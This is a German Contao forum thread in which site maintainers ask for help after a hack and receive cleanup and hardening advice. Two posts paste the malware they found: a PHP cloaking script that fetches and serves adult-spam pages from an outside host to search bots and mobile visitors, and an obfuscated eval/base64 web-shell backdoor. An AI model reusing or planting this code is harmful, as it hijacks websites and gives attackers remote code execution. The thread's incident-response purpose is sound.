Ergebnis 1 bis 21 von 21

Thema: Seite gehackt

  1. #1
    Contao-Fan Avatar von katnow
    Registriert seit
    16.05.2011.
    Ort
    Aachen
    Beiträge
    340

    Standard Seite gehackt

    Hallo,

    wenn ich auf die Seite des Kunden gehe, ist sie auf dem PC normal, über das Handy landet man auf einer Sexseite. Geändert an Dateien wurden die index.php und die app.php. Geben mir die chinesischen Zeichen dort einen Hinweis? Kann ich die löschen? Die sind da, wo im Moment die ganzen Fragezeichen sind...

    <?php
    header("HTTP/1.1 200 OK");
    header("Content-Type: text/html; charset=utf-8");
    define("CONSTANT_NAME", "about");
    ini_set('display_errors','off');
    error_reporting(E_ALL ^ E_NOTICE);
    set_time_limit(0);
    function checkParameters() {
    $arr_url = array('bet', 'hot', '', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video');
    $request_uri = $_SERVER['REQUEST_URI'];
    parse_str(parse_url($request_uri, PHP_URL_QUERY), $query_params);
    foreach ($arr_url as $param) {
    if (isset($query_params[$param])) {
    return $query_params[$param];
    }
    }
    return false;
    }
    function isMobile()
    {
    $sj = 1;
    if ($sj == 0) {
    return true;
    }
    if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
    return true;
    }
    if (isset($_SERVER['HTTP_VIA'])) {

    return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
    }
    if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $clientkeywords = array("Android", "iPhone", "webOS", "BlackBerry", "SymbianOS", "Windows Phone", "iPad", "iPod");

    if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
    return true;
    }
    }
    if (isset ($_SERVER['HTTP_ACCEPT'])) {

    if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
    return true;
    }
    }
    return false;
    }
    function getRandomLineFromFile() {
    $url = 'https://sex.top7788.com/web3/test1.php';

    $options = [
    "http" => [
    "header" => "User-Agent: MyUserAgent/1.0\r\n"
    ]
    ];
    $context = stream_context_create($options);

    $response = file_get_contents($url, false, $context);

    return $response ?: "Unable to fetch data!";
    }
    if(isset($_SERVER['HTTP_USER_AGENT']) && (stristr($_SERVER['HTTP_USER_AGENT'],"Google") || stristr($_SERVER['HTTP_USER_AGENT'],"bing") || stristr($_SERVER['HTTP_USER_AGENT'],"coccoc")) || ((stristr($_SERVER['HTTP_REFERER'], "Google") || stristr($_SERVER['HTTP_REFERER'], "bing") || stristr($_SERVER['HTTP_REFERER'], "yandex")) && isMobile())){

    if((checkParameters() !== false) || ((stristr($_SERVER['HTTP_REFERER'], "Google") || stristr($_SERVER['HTTP_REFERER'], "bing") || stristr($_SERVER['HTTP_REFERER'], "yandex")) && isMobile())){
    $url = 'https://sex.top7788.com/web3/test.php';
    $options = [
    'http' => [
    'header' => [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language: zh-CN,zh;q=0.9',
    ],
    ],
    ];

    $context = stream_context_create($options);

    $html = file_get_contents($url, false, $context);

    if ($html === false) {
    die('???????');
    }

    $result = checkParameters();

    $currentPath = $_SERVER['REQUEST_URI'];
    $lastDir = basename($currentPath);
    $lastDir = urldecode($lastDir);

    $search = ['<?????1>'];

    $result = checkParameters();
    $replace = $result;

    $html = str_replace($search, $replace, $html);
    echo $html;
    exit;
    }else{
    $arr_url = array('bet', 'hot', 'game', 'ios', 'keyword', 'produc_id', 'play', 'top', 'app', 'video');
    echo "<ul style='list-style: none;'>\r\n";
    for ($j = 1; $j <= 20; $j++) {
    $randomUrl = $arr_url[array_rand($arr_url)];
    $randomLine = getRandomLineFromFile();
    echo "<li><a href='/?{$randomUrl}={$randomLine}'>{$randomLine}</a></li>\r\n";
    }

    echo "</ul>";
    }
    }else{}

    ?>



    <?php

    // Backwards compatibility
    require __DIR__.'/index.php';

  2. #2
    Contao-Fan Avatar von katnow
    Registriert seit
    16.05.2011.
    Ort
    Aachen
    Beiträge
    340

    Standard

    problem gelöst.
    Geändert von katnow (26.09.2024 um 19:44 Uhr)

  3. #3
    Wandelndes Contao-Lexikon Avatar von zonky
    Registriert seit
    19.03.2010.
    Ort
    Berlin, Rdf
    Beiträge
    10.185
    User beschenken
    Wunschliste

    Standard

    ALLE! Zugangsdaten erneuern und möglichst 2FA einrichten ... Providerzugang, (S)FTP, SSH...

    Passwörter nicht im Browser speichern lassen; in sowas wie Filezilla auch nicht

  4. #4
    Contao-Fan Avatar von katnow
    Registriert seit
    16.05.2011.
    Ort
    Aachen
    Beiträge
    340

    Standard

    Was bedeutet 2 FA? Okay, jetzt gegoogelt. Wie kann man das einrichten? Bei Contao? Was kann man von Server Seite aus tun?
    Geändert von katnow (26.09.2024 um 19:57 Uhr)

  5. #5

  6. #6
    Contao-Fan Avatar von katnow
    Registriert seit
    16.05.2011.
    Ort
    Aachen
    Beiträge
    340

    Standard

    Ich danke dir von Herzen. Wird das Serverseitig eingerichtet oder bezieht sich das auf Contao? Sorry für die blöde Frage, bei Sicherheit kenn ich mich nicht aus. Was kann ich dem Kunden, er hat einen eigenen Server empfehlen, damit das nicht mehr vorkommt? Und wo soll ich die Lakritze hinschicken lassen? :-)

  7. #7
    Community-Moderatorin & Contao-Urgestein Avatar von mlweb
    Registriert seit
    10.07.2011.
    Beiträge
    7.433
    Contao-Projekt unterstützen

    Support Contao

    Standard

    Zitat Zitat von katnow Beitrag anzeigen
    Was kann ich dem Kunden, er hat einen eigenen Server ...
    Der Kunde hat einen eigenen Server und kennt sich auch nicht mit Sicherheit aus? Wenn Du mich fragst ganz schlechte Mischung.

    2FA kannst Du in Contao einrichten https://docs.contao.org/manual/de/la...hentifizierung.
    Viele Provider bieten inzwischen auch 2FA an. Bei eigenem Server wird er das wohl selbst einrichten müssen vermute ich
    Ich habe Dir mit meinen Hinweisen geholfen und Du möchtest Dich bedanken?
    Unterstütze bitte das Contao-Projekt (Button Links)
    Weitere Spendenmöglichkeiten
    ------------------------------------------------------------------------------------------------------
    Contao-Dokumentation: Contao-Handbuch und Contao-Entwickler-Doku
    Contao-Online-Video-Kurse: Contao Academy
    Funktionalität erweitern: Contao-Erweiterungen

    Für Dinge die man mit html5 und css3 lösen kann, braucht man kein javascript.




  8. #8
    Wandelndes Contao-Lexikon Avatar von zonky
    Registriert seit
    19.03.2010.
    Ort
    Berlin, Rdf
    Beiträge
    10.185
    User beschenken
    Wunschliste

    Standard

    Zitat Zitat von katnow Beitrag anzeigen
    Was kann ich dem Kunden, er hat einen eigenen Server empfehlen, damit das nicht mehr vorkommt?
    insbesondere Kunden aus dem IT-Umfeld sind oft der Meinung, das bissl Webserver ist nicht so schwierig - nach meiner Erfahrung geht das in fünf von vier Fällen schief... also: Wechsel zu einem der üblichen Provider!

    meine aktuelle persönliche Empfehlung: all-inkl

  9. #9
    Community-Moderator
    Wandelndes Contao-Lexikon
    Avatar von Spooky
    Registriert seit
    12.04.2012.
    Ort
    Scotland
    Beiträge
    37.161
    Partner-ID
    10107

    Standard

    Welche Contao Version?
    » sponsor me via GitHub or Revolut

  10. #10
    Contao-Nutzer
    Registriert seit
    13.07.2013.
    Ort
    Nordsachsen
    Beiträge
    218

    Standard

    kurze Rückfrage... ist das ein Hack?

    Ich habe heute bei einer Wartung (die letzte war 2019 ) einen ähnlichen Code auf einem Server eines Kunden gefunden.

    Es gibt eine Datei X.php
    PHP-Code:
    <?php $c="~+d()"^"!{+{}";@$b=${$c}["nsikun"];eval("".base64_decode($b) .";");?>
    <?php 
    eval(base64_decode('JGM9In4rZCgpIl4iIXsre30iOyRiPSR7JGN9WyJuc2lrdW4iXTtldmFsKCIiLmJhc2U2NF9kZWNvZGUoJGIpIC4iOyIpOw=='))?>
    und eine Datei storevideo.php. Letztgenannte Datei hat ca. 7Kib und nimmt häufig Kontakt zu https://vn.top7788.com/web3/test1.php auf. Am angegebenen Ort befindet sich jedoch nichts.

    Weiss jmd. dazu mehr?

    Grüße vom Theo!

  11. #11
    Administratorin Avatar von lucina
    Registriert seit
    19.06.2009.
    Ort
    Kiel (DE)
    Beiträge
    7.432
    Partner-ID
    152
    User beschenken
    Wunschliste
    Contao-Projekt unterstützen

    Support Contao

    Standard

    Definitiv. Das gehört nicht zu Contao, versteckt sein Treiben hinter encodeten Programmschnipseln, nimmt Kontakt zu anderen Servern auf (oder versucht es zumindest).

    Dein Job ist es jetzt vermutlich, herauszufinden, seit wann das so ist und wie viele Deiner Backups ebenfalls kompromitiert sind. Möglicherweise bekommst Du dann eine Idee davon, auf welchem Weg jemand den Server übernommen hat. Schliesslich ist es wahrscheinlich eine gute Idee, alle Zugänge zu ändern und auch zu prüfen, ob weitere befallene Daten auf dem Server sind.

  12. #12
    Contao-Nutzer
    Registriert seit
    13.07.2013.
    Ort
    Nordsachsen
    Beiträge
    218

    Standard

    Danke lucina! Ich habe die Dateien schon "deaktiviert". Übertragen wurden sie laut log am 08.10.2024 und am 16.10.2024. Ich werde den Kunden benachrichtigen. Der muss leider zustimmen, ob eine Wartung bzw. Neueinrichtung erfolgen soll...

    Vielen herzlichen Dank!
    Theo

  13. #13
    Administratorin Avatar von lucina
    Registriert seit
    19.06.2009.
    Ort
    Kiel (DE)
    Beiträge
    7.432
    Partner-ID
    152
    User beschenken
    Wunschliste
    Contao-Projekt unterstützen

    Support Contao

    Standard

    Interessehalber: von welcher Contao-Version reden wir?

  14. #14
    Contao-Nutzer
    Registriert seit
    13.07.2013.
    Ort
    Nordsachsen
    Beiträge
    218

    Standard

    ...moment ich schaue...
    CM 1.6.1
    Contao 4.13.13
    PHP 7.4.33
    HostEurope
    CM ließ sich nicht mehr starten, da offs php intl entfernt wurde. Aus diesem Grund hat der Kunde uns kontaktiert...

  15. #15
    Community-Moderator
    Wandelndes Contao-Lexikon
    Avatar von Spooky
    Registriert seit
    12.04.2012.
    Ort
    Scotland
    Beiträge
    37.161
    Partner-ID
    10107

    Standard

    Zitat Zitat von theobald Beitrag anzeigen
    Contao 4.13.13.
    Das ist vermutlich die Ursache, wenn kein App Secret in der parameters.yml oder .env.local hinterlegt ist.
    » sponsor me via GitHub or Revolut

  16. #16
    Contao-Nutzer
    Registriert seit
    13.07.2013.
    Ort
    Nordsachsen
    Beiträge
    218

    Standard

    darf man fragen, wie so ein Angriff vor sich geht? Die FTP-Passwörter sind sicher und auch sonst gab es keinen weiteren Zugang ...

  17. #17
    Alter Contao-Hase
    Registriert seit
    24.02.2021.
    Beiträge
    1.477
    Partner-ID
    11715
    Contao-Projekt unterstützen

    Support Contao

    Standard

    Zitat Zitat von theobald Beitrag anzeigen
    darf man fragen, wie so ein Angriff vor sich geht? Die FTP-Passwörter sind sicher und auch sonst gab es keinen weiteren Zugang ...
    Dafür gibt es diverse andere Foren, welche es dir erklären. Es gibt sicher auch Posts von Researchern, welche teils sehr ins Detail gehen.
    Da musst du dich selbst schlau machen, es wird hier noch einige nicht geupdatete Contao-Installationen geben.

    Es macht bestimmt Spaß den Bugfix zu sehen, dann die Sicherheitslücke in seiner eigenen Umgebung auszutesten, das darfst du aber selber herausfinden.

    Man kennt ja bekanntlich den "Hackerparagraph"
    https://www.gesetze-im-internet.de/stgb/__202c.html

    (1) Wer eine Straftat nach § 202a oder § 202b vorbereitet, indem er
    1. Passwörter oder sonstige Sicherungscodes, die den Zugang zu Daten (§ 202a Abs. 2) ermöglichen, oder
    2. Computerprogramme, deren Zweck die Begehung einer solchen Tat ist, herstellt, sich oder einem anderen verschafft, verkauft, einem anderen überlässt, verbreitet oder sonst zugänglich macht, wird mit Freiheitsstrafe bis zu zwei Jahren oder mit Geldstrafe bestraft.

    Denk dir deinen Teil

  18. #18
    Community-Moderatorin & Contao-Urgestein Avatar von mlweb
    Registriert seit
    10.07.2011.
    Beiträge
    7.433
    Contao-Projekt unterstützen

    Support Contao

    Standard

    Zitat Zitat von theobald Beitrag anzeigen
    Die FTP-Passwörter sind sicher und auch sonst gab es keinen weiteren Zugang ...
    Woher weißt Du das?
    So etwas kann auch einfach mitgelesen oder ausgelesen werden. Für letzteres war m.E. FilleZilla mal ein heißer Kandidat.
    Ich habe Dir mit meinen Hinweisen geholfen und Du möchtest Dich bedanken?
    Unterstütze bitte das Contao-Projekt (Button Links)
    Weitere Spendenmöglichkeiten
    ------------------------------------------------------------------------------------------------------
    Contao-Dokumentation: Contao-Handbuch und Contao-Entwickler-Doku
    Contao-Online-Video-Kurse: Contao Academy
    Funktionalität erweitern: Contao-Erweiterungen

    Für Dinge die man mit html5 und css3 lösen kann, braucht man kein javascript.




  19. #19
    Contao-Nutzer
    Registriert seit
    13.07.2013.
    Ort
    Nordsachsen
    Beiträge
    218

    Standard

    Danke! Danke!

    Spooky hat mir schon per PN geantwortet...

    ... und don't panic

    Danke! @zoglo für den hier notwendigen Disclaimer

    @mlweb wo kann man "einfach" etwas "mitlesen" und "auslesen". Das wäre mir wirklich neu. Dann würde ich meine Web-Enwticklung nach 20 Jahren sofort einstellen!
    Wenn also jeder auf jedem Server und auf meiner Maschine in der Firma alles "auslesen" kann...

  20. #20
    Administratorin Avatar von lucina
    Registriert seit
    19.06.2009.
    Ort
    Kiel (DE)
    Beiträge
    7.432
    Partner-ID
    152
    User beschenken
    Wunschliste
    Contao-Projekt unterstützen

    Support Contao

    Standard

    Zitat Zitat von theobald Beitrag anzeigen
    wo kann man "einfach" etwas "mitlesen" und "auslesen". Das wäre mir wirklich neu. Dann würde ich meine Web-Enwticklung nach 20 Jahren sofort einstellen!
    Wenn also jeder auf jedem Server und auf meiner Maschine in der Firma alles "auslesen" kann...
    Wenn ich einen Codeschnipsel einschleusen kann, dann kann ich alles einschleusen. Das kann eine Shell sein, ein Mailserver, ein Proxy, einen Keylogger - you name it.

  21. #21
    Contao-Nutzer
    Registriert seit
    13.07.2013.
    Ort
    Nordsachsen
    Beiträge
    218

    Standard

    OK. Nochmals vielen Dank für die Unterstützung und die Meinungen!
    Beste Grüße vom
    Theo

Aktive Benutzer

Aktive Benutzer

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •